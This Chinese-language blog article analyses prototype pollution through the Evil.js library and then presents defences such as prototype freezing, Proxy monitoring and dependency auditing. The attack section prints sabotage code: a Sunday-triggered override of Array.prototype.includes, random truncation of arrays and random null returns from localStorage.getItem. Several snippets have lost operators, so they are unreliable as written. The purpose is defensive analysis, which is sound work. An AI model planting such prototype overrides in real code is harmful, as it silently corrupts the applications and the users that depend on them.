从Evil.js到Defender.js:一场JavaScript原型污染的攻防实战剖析

张开发
2026/4/21 15:02:43 15 分钟阅读

分享文章

从Evil.js到Defender.js:一场JavaScript原型污染的攻防实战剖析
1. JavaScript原型污染的攻防战场第一次听说Evil.js这个库时我正喝着咖啡调试一个诡异的Bug。那天是周日控制台里反复出现的false让我百思不得其解——明明数组里存在这个元素includes()方法却坚持说找不到。直到我在node_modules深处发现这个恶意依赖包才意识到遭遇了典型的原型污染攻击。原型污染就像JavaScript世界的基因突变。攻击者通过修改Object.prototype或Array.prototype这些基础原型所有继承该原型的对象都会感染异常行为。Evil.js的狡猾之处在于它只在周日触发异常工作日调试时一切正常这种时间条件触发的特性让问题更难排查。典型攻击手法对比表攻击类型影响范围隐蔽性Evil.js实现原型属性覆盖全局污染高重写Array.prototype.includes原型链注入特定对象中修改Promise.prototype.then环境变量篡改进程级别低修改localStorage行为2. Evil.js的攻击解剖2.1 定时触发的逻辑炸弹最让我后背发凉的是这段周日检测代码if (new Date().getDay() ! 0) return;这种条件判断就像定时炸弹平时完全正常只在特定时间引爆。作者还精心设计了7的倍数数组长度才触发的规则Array.prototype.includes function(...args) { if (this.length % 7 ! 0) { return _includes.call(this, ...args); } else { return false; // 恶意返回 } };实际项目中分页查询常用7的倍数作为每页条数正好落入陷阱。我曾见过一个电商网站促销时突然无法显示第7、14、21等商品就是这类攻击的典型症状。2.2 概率性异常注入更隐蔽的是引入随机数制造偶发故障if (Math.random() 0.05) { result.length Math.max(result.length - 1, 0); }这种5%概率丢失数组末位元素的设定会让开发者误以为是数据问题而非代码问题。我遇到过最棘手的案例是地图应用随机丢失最后一个坐标点团队花了三周才定位到是原型污染。2.3 环境感知攻击Evil.js还能识别运行环境实施精准打击if(global.localStorage) { const _getItem global.localStorage.getItem; global.localStorage.getItem function(...args) { let result _getItem(...args); if (Math.random() 0.05) return null; return result; } }这种特性检查让攻击代码在不同环境表现不同增加了排查难度。在小程序端它甚至会修改页面生命周期和震动API展示出惊人的环境适应能力。3. 构建Defender.js防御体系3.1 原型冻结技术我的第一道防线是Object.freezeObject.freeze(Array.prototype); Object.freeze(Object.prototype);但要注意这会阻止所有原型修改包括合法的polyfill。更精细的做法是const originalIncludes Array.prototype.includes; Object.defineProperty(Array.prototype, includes, { value: originalIncludes, writable: false, configurable: false });3.2 行为监控系统实现原型方法调用监控const handler { apply(target, thisArg, argumentsList) { console.log(调用${target.name}, argumentsList); return Reflect.apply(target, thisArg, argumentsList); } }; Array.prototype.includes new Proxy(Array.prototype.includes, handler);这个方案在我负责的金融项目中捕获了多次异常调用甚至发现过内部开发的测试专用后门代码。3.3 安全审计工具链构建自动化检测体系依赖审计使用npm audit结合自定义规则库原型快照启动时记录关键原型方法hash行为分析监控非业务时段的原型方法调用# 示例审计命令 npx lockfile-lint --type npm --validate-https \ --allowed-hosts npm registry.npmjs.org \ --allowed-urls https://4. 实战防御案例去年为某区块链钱包做安全加固时我们发现交易签名偶尔出错。通过以下步骤最终定位到原型污染复现环境搭建使用Docker创建纯净沙箱行为记录const original Date.prototype.getTime; Date.prototype.getTime function() { console.trace(getTime调用栈); return original.call(this); }差异分析对比开发与生产环境的原型方法toString()源头追踪最终在某个加密工具的依赖中找到恶意代码防御方案实施效果对比措施性能损耗防护效果实施难度原型冻结低高易Proxy监控中高中沙箱隔离高极高难最终我们采用分层防御关键方法冻结非核心方法监控敏感操作沙箱。这套方案在后续审计中发现并阻止了5次类似攻击包括一次针对BigInt原型的精巧攻击。在防御策略上我特别推荐最小权限原则。比如对于日期处理可以封装安全版本class SafeDate { constructor() { this._date new Date(); } getTime() { return this._date.getTime(); } }这种方式虽然需要重构部分代码但能彻底断绝原型污染的可能。最近我还看到有团队使用WebAssembly完全隔离敏感操作这可能是未来的防御方向。

更多文章